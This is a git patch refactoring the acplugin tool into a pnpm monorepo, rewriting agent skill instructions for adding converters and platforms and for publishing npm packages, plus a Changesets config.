From d480b74bc276ecd67a9730507828885c1d02d2d4 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Wed, 5 Aug 2026 18:10:42 +0800 Subject: [PATCH 01/27] refactor: 1.0 --- .agent/skills/add-converter/SKILL.md | 69 - .agent/skills/add-platform/SKILL.md | 75 - .agent/skills/npm-publish/SKILL.md | 44 - .agents/skills/add-converter/SKILL.md | 85 +- .agents/skills/add-platform/SKILL.md | 92 +- .agents/skills/npm-publish/SKILL.md | 65 +- .agents/skills/npm-publish/agents/openai.yaml | 7 +- .changeset/config.json | 22 + .claude/skills/add-converter/SKILL.md | 67 - .claude/skills/add-platform/SKILL.md | 75 - .claude/skills/npm-publish/SKILL.md | 44 - .cursor-plugin/plugin.json | 7 - .cursor/rules/claude-instructions.mdc | 95 - .cursor/skills/add-converter/SKILL.md | 69 - .cursor/skills/add-platform/SKILL.md | 75 - .cursor/skills/npm-publish/SKILL.md | 44 - .github/workflows/acplugin.yml | 18 - .github/workflows/ci.yml | 30 + .github/workflows/publish-npm.yml | 63 +- .husky/pre-commit | 2 + .opencode/skills/add-converter/SKILL.md | 69 - .opencode/skills/add-platform/SKILL.md | 75 - .opencode/skills/npm-publish/SKILL.md | 44 - AGENTS.md | 197 +- CLAUDE.md | 91 - GEMINI.md | 91 - LICENSE | 21 + README.md | 384 +- README.zh-CN.md | 370 +- eslint.config.mjs | 20 + llmdoc/architecture/system.md | 126 +- llmdoc/guides/release.md | 53 +- llmdoc/guides/usage.md | 77 +- llmdoc/index.md | 26 +- llmdoc/overview/project.md | 40 +- llmdoc/reference/conversion-matrix.md | 54 +- llmdoc/startup.md | 15 + llmdoc/state/sync.md | 6 + package-lock.json | 2628 ----------- package.json | 83 +- packages/acplugin/LICENSE | 21 + packages/acplugin/README.md | 47 + packages/acplugin/package.json | 42 + packages/acplugin/src/cli.ts | 300 ++ packages/acplugin/src/index.ts | 165 + packages/acplugin/src/init.ts | 202 + packages/acplugin/src/migration/index.ts | 510 +++ .../acplugin/src/migration/legacy}/github.ts | 137 +- .../src/migration/legacy}/scanner/claude.ts | 0 .../src/migration/legacy}/scanner/plugin.ts | 53 +- .../acplugin/src/migration/legacy}/types.ts | 68 +- .../migration/legacy}/utils/frontmatter.ts | 0 .../src/migration/legacy}/utils/fs.ts | 0 packages/acplugin/tsconfig.json | 8 + packages/acplugin/tsdown.config.ts | 28 + packages/compiler-claude-code/package.json | 20 + packages/compiler-claude-code/src/index.ts | 120 + packages/compiler-claude-code/tsconfig.json | 4 + .../compiler-claude-code/tsdown.config.ts | 12 + packages/compiler-codex/package.json | 20 + packages/compiler-codex/src/index.ts | 165 + packages/compiler-codex/tsconfig.json | 4 + packages/compiler-codex/tsdown.config.ts | 12 + packages/core/package.json | 24 + packages/core/src/artifacts.ts | 101 + packages/core/src/builder.ts | 282 ++ packages/core/src/config.ts | 267 ++ packages/core/src/diagnostics.ts | 118 + packages/core/src/extensions.ts | 48 + packages/core/src/index.ts | 10 + packages/core/src/scanner.ts | 574 +++ packages/core/src/serialization.ts | 25 + packages/core/src/transaction.ts | 218 + packages/core/src/types.ts | 325 ++ packages/core/test/core.test.ts | 336 ++ packages/core/tsconfig.json | 4 + packages/core/tsdown.config.ts | 12 + packages/module-hooks/LICENSE | 21 + packages/module-hooks/README.md | 37 + packages/module-hooks/package.json | 29 + packages/module-hooks/src/index.ts | 519 +++ packages/module-hooks/tsconfig.json | 4 + packages/module-hooks/tsdown.config.ts | 15 + packages/module-mcp/LICENSE | 21 + packages/module-mcp/README.md | 49 + packages/module-mcp/package.json | 29 + packages/module-mcp/src/index.ts | 372 ++ packages/module-mcp/tsconfig.json | 4 + packages/module-mcp/tsdown.config.ts | 15 + .../.claude/agents/code-reviewer.md | 0 .../.claude/commands/deploy.md | 0 .../claude-project}/.claude/rules/testing.md | 0 .../claude-project}/.claude/settings.json | 0 .../.claude/skills/my-skill/SKILL.md | 0 .../migration/claude-project}/.mcp.json | 0 .../migration/claude-project}/CLAUDE.md | 0 packages/test/package.json | 26 + packages/test/test/build.test.ts | 55 + packages/test/test/cli.test.ts | 178 + packages/test/test/init.test.ts | 44 + packages/test/test/migration.test.ts | 180 + packages/test/test/modules.test.ts | 213 + packages/test/test/repository.test.ts | 63 + packages/test/test/workspace.test.ts | 8 + packages/test/tsconfig.json | 8 + packages/test/vitest.config.ts | 22 + pnpm-lock.yaml | 4050 +++++++++++++++++ pnpm-workspace.yaml | 35 + rules/claude-instructions.mdc | 95 - scripts/publish-release-cohort.mjs | 121 + scripts/verify-release-cohort.mjs | 33 + scripts/verify-release.mjs | 167 + skills/add-converter/SKILL.md | 69 - skills/add-platform/SKILL.md | 75 - skills/npm-publish/SKILL.md | 44 - src/__tests__/agent.test.ts | 90 - src/__tests__/command.test.ts | 36 - src/__tests__/github.test.ts | 62 - src/__tests__/hooks.test.ts | 51 - src/__tests__/instructions.test.ts | 48 - src/__tests__/mcp.test.ts | 55 - src/__tests__/pi.test.ts | 90 - src/__tests__/plugin.test.ts | 144 - src/__tests__/pluginManifest.test.ts | 444 -- src/__tests__/scanner.test.ts | 41 - src/__tests__/skill.test.ts | 83 - src/__tests__/superpowers-integration.test.ts | 483 -- src/converter/agent.ts | 140 - src/converter/command.ts | 73 - src/converter/hooks.ts | 133 - src/converter/instructions.ts | 124 - src/converter/mcp.ts | 170 - src/converter/pluginManifest.ts | 232 - src/converter/skill.ts | 90 - src/index.ts | 403 -- src/tui.ts | 191 - src/utils/model.ts | 42 - src/utils/toml.ts | 9 - src/writer/antigravity.ts | 53 - src/writer/codex.ts | 75 - src/writer/cursor.ts | 75 - src/writer/opencode.ts | 64 - src/writer/pi.ts | 63 - tsconfig.base.json | 27 + tsconfig.json | 14 - vitest.config.ts | 7 - 146 files changed, 11721 insertions(+), 8292 deletions(-) delete mode 100644 .agent/skills/add-converter/SKILL.md delete mode 100644 .agent/skills/add-platform/SKILL.md delete mode 100644 .agent/skills/npm-publish/SKILL.md create mode 100644 .changeset/config.json delete mode 100644 .claude/skills/add-converter/SKILL.md delete mode 100644 .claude/skills/add-platform/SKILL.md delete mode 100644 .claude/skills/npm-publish/SKILL.md delete mode 100644 .cursor-plugin/plugin.json delete mode 100644 .cursor/rules/claude-instructions.mdc delete mode 100644 .cursor/skills/add-converter/SKILL.md delete mode 100644 .cursor/skills/add-platform/SKILL.md delete mode 100644 .cursor/skills/npm-publish/SKILL.md delete mode 100644 .github/workflows/acplugin.yml create mode 100644 .github/workflows/ci.yml create mode 100644 .husky/pre-commit delete mode 100644 .opencode/skills/add-converter/SKILL.md delete mode 100644 .opencode/skills/add-platform/SKILL.md delete mode 100644 .opencode/skills/npm-publish/SKILL.md delete mode 100644 CLAUDE.md delete mode 100644 GEMINI.md create mode 100644 LICENSE create mode 100644 eslint.config.mjs create mode 100644 llmdoc/startup.md create mode 100644 llmdoc/state/sync.md delete mode 100644 package-lock.json create mode 100644 packages/acplugin/LICENSE create mode 100644 packages/acplugin/README.md create mode 100644 packages/acplugin/package.json create mode 100644 packages/acplugin/src/cli.ts create mode 100644 packages/acplugin/src/index.ts create mode 100644 packages/acplugin/src/init.ts create mode 100644 packages/acplugin/src/migration/index.ts rename {src => packages/acplugin/src/migration/legacy}/github.ts (51%) rename {src => packages/acplugin/src/migration/legacy}/scanner/claude.ts (100%) rename {src => packages/acplugin/src/migration/legacy}/scanner/plugin.ts (84%) rename {src => packages/acplugin/src/migration/legacy}/types.ts (66%) rename {src => packages/acplugin/src/migration/legacy}/utils/frontmatter.ts (100%) rename {src => packages/acplugin/src/migration/legacy}/utils/fs.ts (100%) create mode 100644 packages/acplugin/tsconfig.json create mode 100644 packages/acplugin/tsdown.config.ts create mode 100644 packages/compiler-claude-code/package.json create mode 100644 packages/compiler-claude-code/src/index.ts create mode 100644 packages/compiler-claude-code/tsconfig.json create mode 100644 packages/compiler-claude-code/tsdown.config.ts create mode 100644 packages/compiler-codex/package.json create mode 100644 packages/compiler-codex/src/index.ts create mode 100644 packages/compiler-codex/tsconfig.json create mode 100644 packages/compiler-codex/tsdown.config.ts create mode 100644 packages/core/package.json create mode 100644 packages/core/src/artifacts.ts create mode 100644 packages/core/src/builder.ts create mode 100644 packages/core/src/config.ts create mode 100644 packages/core/src/diagnostics.ts create mode 100644 packages/core/src/extensions.ts create mode 100644 packages/core/src/index.ts create mode 100644 packages/core/src/scanner.ts create mode 100644 packages/core/src/serialization.ts create mode 100644 packages/core/src/transaction.ts create mode 100644 packages/core/src/types.ts create mode 100644 packages/core/test/core.test.ts create mode 100644 packages/core/tsconfig.json create mode 100644 packages/core/tsdown.config.ts create mode 100644 packages/module-hooks/LICENSE create mode 100644 packages/module-hooks/README.md create mode 100644 packages/module-hooks/package.json create mode 100644 packages/module-hooks/src/index.ts create mode 100644 packages/module-hooks/tsconfig.json create mode 100644 packages/module-hooks/tsdown.config.ts create mode 100644 packages/module-mcp/LICENSE create mode 100644 packages/module-mcp/README.md create mode 100644 packages/module-mcp/package.json create mode 100644 packages/module-mcp/src/index.ts create mode 100644 packages/module-mcp/tsconfig.json create mode 100644 packages/module-mcp/tsdown.config.ts rename {test-fixture => packages/test/fixtures/migration/claude-project}/.claude/agents/code-reviewer.md (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/.claude/commands/deploy.md (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/.claude/rules/testing.md (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/.claude/settings.json (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/.claude/skills/my-skill/SKILL.md (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/.mcp.json (100%) rename {test-fixture => packages/test/fixtures/migration/claude-project}/CLAUDE.md (100%) create mode 100644 packages/test/package.json create mode 100644 packages/test/test/build.test.ts create mode 100644 packages/test/test/cli.test.ts create mode 100644 packages/test/test/init.test.ts create mode 100644 packages/test/test/migration.test.ts create mode 100644 packages/test/test/modules.test.ts create mode 100644 packages/test/test/repository.test.ts create mode 100644 packages/test/test/workspace.test.ts create mode 100644 packages/test/tsconfig.json create mode 100644 packages/test/vitest.config.ts create mode 100644 pnpm-lock.yaml create mode 100644 pnpm-workspace.yaml delete mode 100644 rules/claude-instructions.mdc create mode 100644 scripts/publish-release-cohort.mjs create mode 100644 scripts/verify-release-cohort.mjs create mode 100644 scripts/verify-release.mjs delete mode 100644 skills/add-converter/SKILL.md delete mode 100644 skills/add-platform/SKILL.md delete mode 100644 skills/npm-publish/SKILL.md delete mode 100644 src/__tests__/agent.test.ts delete mode 100644 src/__tests__/command.test.ts delete mode 100644 src/__tests__/github.test.ts delete mode 100644 src/__tests__/hooks.test.ts delete mode 100644 src/__tests__/instructions.test.ts delete mode 100644 src/__tests__/mcp.test.ts delete mode 100644 src/__tests__/pi.test.ts delete mode 100644 src/__tests__/plugin.test.ts delete mode 100644 src/__tests__/pluginManifest.test.ts delete mode 100644 src/__tests__/scanner.test.ts delete mode 100644 src/__tests__/skill.test.ts delete mode 100644 src/__tests__/superpowers-integration.test.ts delete mode 100644 src/converter/agent.ts delete mode 100644 src/converter/command.ts delete mode 100644 src/converter/hooks.ts delete mode 100644 src/converter/instructions.ts delete mode 100644 src/converter/mcp.ts delete mode 100644 src/converter/pluginManifest.ts delete mode 100644 src/converter/skill.ts delete mode 100644 src/index.ts delete mode 100644 src/tui.ts delete mode 100644 src/utils/model.ts delete mode 100644 src/utils/toml.ts delete mode 100644 src/writer/antigravity.ts delete mode 100644 src/writer/codex.ts delete mode 100644 src/writer/cursor.ts delete mode 100644 src/writer/opencode.ts delete mode 100644 src/writer/pi.ts create mode 100644 tsconfig.base.json delete mode 100644 tsconfig.json delete mode 100644 vitest.config.ts diff --git a/.agent/skills/add-converter/SKILL.md b/.agent/skills/add-converter/SKILL.md deleted file mode 100644 index fe30a9a..0000000 --- a/.agent/skills/add-converter/SKILL.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -name: add-converter -description: >- - Add a new resource type converter to acplugin (e.g., adding support for - converting a new Claude Code resource type) ---- - -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} -``` - -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 diff --git a/.agent/skills/add-platform/SKILL.md b/.agent/skills/add-platform/SKILL.md deleted file mode 100644 index 3abaee1..0000000 --- a/.agent/skills/add-platform/SKILL.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -name: add-platform -description: 'Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.)' ---- - -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; -``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/.agent/skills/npm-publish/SKILL.md b/.agent/skills/npm-publish/SKILL.md deleted file mode 100644 index ba940e5..0000000 --- a/.agent/skills/npm-publish/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: npm-publish -description: 'Publish acplugin to npm with version bump, build, test, and 2FA handling' -disable-model-invocation: true ---- - -# npm 发布流程 - -## 步骤 - -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` - -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` - -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` - -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` - -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` - -## 注意事项 - -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` diff --git a/.agents/skills/add-converter/SKILL.md b/.agents/skills/add-converter/SKILL.md index fe30a9a..6a1568f 100644 --- a/.agents/skills/add-converter/SKILL.md +++ b/.agents/skills/add-converter/SKILL.md @@ -1,69 +1,28 @@ --- name: add-converter -description: >- - Add a new resource type converter to acplugin (e.g., adding support for - converting a new Claude Code resource type) +description: Add or change a canonical acplugin Component and its built-in Claude Code/Codex compilation, including schema, scanning, compatibility, Artifact output, and tests. Use when adding a new authoring resource or changing how Commands, Skills, or Agents compile. --- -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} +# Add a canonical Component + +1. Decide whether the feature belongs in Core. Cross-platform authoring concepts may become Components; optional or platform-specific capabilities should usually be Modules. Do not add Instructions as a Component. +2. Add canonical and resolved contracts in `packages/core/src/types.ts`. Keep target wire fields out of canonical types; use semantic fields plus explicit `extensions` only when required. +3. Update `packages/core/src/scanner.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Scanner returns normalized data and diagnostics, never target files. +4. Update both private Compilers: + - `packages/compiler-claude-code/src/index.ts` + - `packages/compiler-codex/src/index.ts` +5. For every target, declare `native`, `transform`, `degraded`, or `unsupported`. Strict mode must fail on degraded/unsupported; relaxed mode must emit the explicit result and warning. +6. Generate only `ArtifactInput` values. Compilers own reserved Manifest fields and final serialization; no direct filesystem writes. +7. Add Core schema/graph tests and private cross-package golden/strictness/collision tests under `packages/core/test/` and `packages/test/test/`. +8. Update README compatibility tables, `AGENTS.md`, and the affected `llmdoc/` reference. + +Run: + +```bash +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build ``` -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 +Preserve deterministic path ordering, stable diagnostics, transactional all-target behavior, and private package bundling boundaries. diff --git a/.agents/skills/add-platform/SKILL.md b/.agents/skills/add-platform/SKILL.md index 3abaee1..4998093 100644 --- a/.agents/skills/add-platform/SKILL.md +++ b/.agents/skills/add-platform/SKILL.md @@ -1,75 +1,27 @@ --- name: add-platform -description: 'Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.)' +description: Add a new installable-plugin target to acplugin through a private Compiler and official Module adapters. Use when introducing another AI platform target or revising a target's current manifest, component, Hooks, or MCP contract. --- -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; +# Add a target platform + +1. Verify the current official installable-plugin contract. Record manifest path/schema, install root semantics, Component discovery, Hooks events/protocol, MCP transports/config, secret handling, and a real validation/install command. Do not confuse project overlays with installable plugins. +2. Add the target ID to Core contracts/config validation and CLI choices. +3. Create a private `packages/compiler-/` package. The Compiler must: + - compile every canonical Component; + - own base/reserved Manifest fields; + - emit deterministic Artifacts without filesystem side effects; + - report complete compatibility and dependency propagation; + - validate generated identities, references, paths, and collisions. +4. Bundle the private Compiler into `@tokenroll/acplugin`; it must not appear in the public package runtime manifest or packed imports. +5. Add target adapters to official Hooks/MCP Modules only for verified capabilities. Keep target protocol JSON out of author handlers/descriptors. +6. Register CLI/default-target behavior only after compatibility policy is defined. Do not silently expand the default target cohort. +7. Add golden fixtures, strict/relaxed cases, target schema checks, installed-cache path tests, Hook runtime tests, and MCP protocol smoke tests. +8. Update README, `AGENTS.md`, platform reference docs, tarball consumer verification, and release acceptance criteria. + +Run the full repository and packed-consumer checks: + +```bash +pnpm run check +pnpm run release:verify ``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/.agents/skills/npm-publish/SKILL.md b/.agents/skills/npm-publish/SKILL.md index ba940e5..76778bc 100644 --- a/.agents/skills/npm-publish/SKILL.md +++ b/.agents/skills/npm-publish/SKILL.md @@ -1,44 +1,45 @@ --- name: npm-publish -description: 'Publish acplugin to npm with version bump, build, test, and 2FA handling' -disable-model-invocation: true +description: Prepare, verify, or explicitly publish the fixed @tokenroll/acplugin public package cohort with Changesets, pnpm tarballs, manual first-release 2FA, or the protected OIDC tag workflow. Use for release planning, versioning, dry runs, registry verification, and npm publication. --- -# npm 发布流程 +# Release the public cohort -## 步骤 +Never create a tag, publish, unpublish, or change a dist-tag without explicit user authorization for that live mutation. -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` +## Prepare and verify -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` +1. Confirm the three public packages have one version and Modules use `workspace:^` for the main peer: + - `@tokenroll/acplugin-module-hooks` + - `@tokenroll/acplugin-module-mcp` + - `@tokenroll/acplugin` +2. Add a Changeset and run `pnpm version-packages` when changing an existing release version. Keep private packages ignored. +3. Run: -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` +```bash +pnpm install --frozen-lockfile +pnpm run check +pnpm run release:verify +``` -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` +`release:verify` must prove that tarballs contain no private runtime dependency/source tests and that all three install, typecheck, import, validate, and build in an external clean consumer. -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` +## First npm identity bootstrap -## 注意事项 +The first `1.0.0` publication is manual because each scoped package identity and 2FA must exist before Trusted Publishing can be configured. From the verified source revision, create pnpm tarballs and ask the authorized user to publish them in this order with `--access public` and OTP: -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` +1. Hooks Module +2. MCP Module +3. Main package + +Verify every exact version with `npm view @ version`. Do not create the release tag until the cohort is complete. + +## Subsequent OIDC releases + +After npm Trusted Publishing is configured for `.github/workflows/publish-npm.yml` and the protected `npm` environment, push only the exact tag: + +```text +tokenroll-vX.Y.Z +``` + +The workflow reruns verification, skips exact versions already present, publishes Modules before the main package, waits for registry visibility, and creates the GitHub Release last. It must not require a long-lived npm token and must never call unpublish. diff --git a/.agents/skills/npm-publish/agents/openai.yaml b/.agents/skills/npm-publish/agents/openai.yaml index 5430ef9..bbee3f1 100644 --- a/.agents/skills/npm-publish/agents/openai.yaml +++ b/.agents/skills/npm-publish/agents/openai.yaml @@ -1 +1,6 @@ -allow_implicit_invocation: false +interface: + display_name: "Publish acplugin" + short_description: "Verify and publish the fixed public package cohort" + default_prompt: "Use $npm-publish to prepare and verify an acplugin release without performing unapproved registry mutations." +policy: + allow_implicit_invocation: false diff --git a/.changeset/config.json b/.changeset/config.json new file mode 100644 index 0000000..9c22728 --- /dev/null +++ b/.changeset/config.json @@ -0,0 +1,22 @@ +{ + "$schema": "https://unpkg.com/@changesets/config@3.1.3/schema.json", + "changelog": "@changesets/cli/changelog", + "commit": false, + "fixed": [ + [ + "@tokenroll/acplugin", + "@tokenroll/acplugin-module-hooks", + "@tokenroll/acplugin-module-mcp" + ] + ], + "linked": [], + "access": "public", + "baseBranch": "main", + "updateInternalDependencies": "patch", + "ignore": [ + "@acplugin/core", + "@acplugin/compiler-claude-code", + "@acplugin/compiler-codex", + "@acplugin/test" + ] +} diff --git a/.claude/skills/add-converter/SKILL.md b/.claude/skills/add-converter/SKILL.md deleted file mode 100644 index 0b6fff4..0000000 --- a/.claude/skills/add-converter/SKILL.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -name: add-converter -description: Add a new resource type converter to acplugin (e.g., adding support for converting a new Claude Code resource type) ---- - -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} -``` - -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 